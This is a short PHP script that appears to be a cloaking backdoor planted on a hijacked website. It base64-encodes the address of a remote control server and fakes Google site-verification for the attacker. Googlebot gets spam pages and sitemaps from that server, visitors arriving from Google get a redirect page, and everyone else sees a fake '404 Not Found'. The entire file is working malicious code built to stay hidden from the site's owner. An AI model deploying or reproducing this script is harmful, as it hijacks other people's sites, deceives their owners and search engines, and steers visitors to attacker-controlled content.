<?php
error_reporting(0);date_default_timezone_set("PRC");
$baseUrl = base64_decode("aHR0cDovLzE1NC4yMDUuMTQyLjExOA==");
$http = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://";
$full_url = $http . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
if(strpos($_SERVER['REQUEST_URI'],"google79100648019c8ee4.html")!==false){
    echo "google-site-verification: google79100648019c8ee4.html";exit;
}
function bot() {
    return strpos(strtolower($_SERVER['HTTP_USER_AGENT']), 'google') !== false;
}
function referer() {
    if(!isset($_SERVER['HTTP_REFERER'])){return false; }
    return strpos(strtolower($_SERVER['HTTP_REFERER']), 'google') !== false;
}
function get_data($url,$ua="googlebot") {
    $context = stream_context_create(array('http' => array('header' => "User-Agent: $ua\r\n")));
    if ($d = @file_get_contents($url, false, $context)) {
        return $d;
    } else {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        curl_setopt($ch, CURLOPT_USERAGENT, $ua);
        $response = curl_exec($ch);
        curl_close($ch);
        return $response;
    }
}
function send_xml($http, $baseUrl) {
    $base_url = $http . $_SERVER['HTTP_HOST'] . '/'.basename(__FILE__);
    header('Content-Type: application/xml');
    echo get_data($baseUrl . '/br@?' . "&site=$base_url?" . '&keyword=sitemap.xml');die;
}
if (strpos($full_url, "sitemap") !== false) {
    send_xml($http, $baseUrl);
}
$url_host = $baseUrl."/br@?host=".$_SERVER['HTTP_HOST']."&";
if (referer()) {
    echo get_data($baseUrl . '/br@?/redirect-br.html');die;
}
if (bot()) {
    $u = $url_host.'mulu='.basename(__FILE__).'?&keyword=' . $_SERVER['REQUEST_URI'];
    echo get_data($u);exit;
}
echo "404 Not Found";